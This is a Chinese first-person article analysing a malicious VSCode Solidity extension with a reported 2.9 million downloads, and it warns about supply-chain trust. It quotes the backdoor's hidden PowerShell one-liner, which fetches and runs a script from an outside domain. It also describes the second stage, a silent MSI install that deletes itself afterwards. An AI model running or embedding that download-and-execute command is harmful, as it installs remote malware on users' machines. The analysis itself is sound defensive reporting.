290万下载VSCode热门Web3插件Solidity留后门


一款高下载量的Solidity插件实为恶意后门,安装后静默执行PowerShell脚本,下载并运行远程恶意程序,暴露开源生态的信任危机。

大约一周前,我和一位老友在咖啡馆里闲聊,窗外是初夏的雨丝,玻璃上滑落的水痕像极了代码在终端里滚动的轨迹。我们聊起网络安全,话题从传统的渗透测试、漏洞挖掘,慢慢滑向了如今最火热的领域——Web3。我本以为自己还算跟得上时代,可当他说出“Solidity”“EVM”“DeFi”“智能合约”这些词时,我突然意识到,自己像是个刚进城的乡下人,连地铁闸机都不会刷。

我嘴上应和着,心里却已经开始发慌。那天回家后,我没开游戏,也没刷短视频,而是打开了浏览器,输入了“如何进入Web3安全领域”。搜索结果像潮水般涌来,我这才明白,区块链不只是炒币的工具,它背后是一整套全新的信任机制,而攻击者正虎视眈眈地盯着每一个代码缝隙。我决定从最基础的Solidity语言学起,毕竟那是智能合约的母语。

我打开VSCode,像无数程序员每天做的那样,准备安装一个Solidity插件。市场里有两个主流选择,一个下载量170万,另一个高达290万。我犹豫了一下,选了那个更火的——“Solidity Language Support”,作者叫ShowSnowcrypto,名字听起来还挺酷。安装过程顺滑得毫无波澜,可当我新建一个.sol文件时,却发现语法高亮没了,自动补全也消失了,整个编辑器像个被抽空灵魂的躯壳。

这不对劲。我是个较真的人,尤其是对代码。我开始怀疑,是不是插件出问题了?就在我反复切换语言模式时,一个黑框突然在屏幕上闪了一下,快得像幻觉。我愣住了,那是个PowerShell窗口,而且一闪即逝。我立刻打开VSCode的输出面板,翻遍所有日志,什么都没有。可直觉告诉我,有东西在暗处运行。

我迅速导出了插件的安装目录,压缩成zip,像拆炸弹一样小心翼翼地打开。在src文件夹里,我找到了extension.js——一段被混淆得面目全非的JavaScript代码。我用格式化工具把它拉直,像解剖一具尸体般逐行阅读。那些变量名全是_0x开头的乱码,函数嵌套得像俄罗斯套娃,但核心逻辑却逐渐清晰:它在检测操作系统,如果是Windows,就延迟两秒,然后执行一条隐藏的PowerShell命令。

那条命令像毒蛇一样盘踞在代码深处:powershell -WindowStyle Hidden -Command "irm https://niggboo.com/aaa | iex"。irm是Invoke-RestMethod,iex是Invoke-Expression,合起来就是从远程下载脚本并直接执行。这已经不是插件了,这是后门,是潜伏在开发工具里的特洛伊木马。

我手心开始出汗。我打开那个网址,页面空空如也,只有一段PowerShell脚本静静躺在那里。我逐行分析,发现它做的第一件事竟是检查系统里是否有“ScreenConnect”相关的软件。这名字我熟悉,是远程控制工具,常被黑客用来持久化入侵。原来这个恶意脚本会先判断目标是否已被其他攻击者控制,如果是,就主动退出——这不是普通的病毒,这是有组织的黑产,它们甚至懂得“地盘划分”。

脚本继续往下走,生成随机字符串作为下载路径,从同一个域名拉取一个伪装成MSI安装包的恶意程序,存到临时目录,然后用msiexec静默安装。安装完成后,它还会删除自身,抹去痕迹。整个过程行云流水,像一场精心编排的潜入行动。更可怕的是,这个MSI文件在VirusTotal上只有21家杀软能识别,意味着大多数用户根本防不住。

我盯着那个SHA256哈希值:290027e4e32cf4983ccaa9811b3090c7397a3711d23e426ab144bec1167c456b,它像一串死亡密码。我意识到,这不仅仅是一个恶意插件的问题,而是整个开源生态的信任危机。我们每天安装的插件,有多少是真正可信的?那些下载量百万的工具,背后是谁在维护?ShowSnowcrypto是谁?他为什么要做这种事?微软为什么迟迟不下架这个插件?

我向VSCode官方提交了报告,至今没有回复。这让我感到一种深深的无力。我们程序员总以为自己掌控着代码,可实际上,我们早已生活在一个由无数第三方依赖构成的脆弱网络中。一个小小的插件,就能让你的开发机变成肉鸡,进而威胁到你的私钥、钱包、项目代码。

这场遭遇让我明白,技术的边界从来不在语言或框架,而在人的警惕与良知。我们写代码时,不仅要考虑功能实现,更要思考每一行依赖的来源。下次你安装插件时,不妨多问一句:它凭什么值得我信任?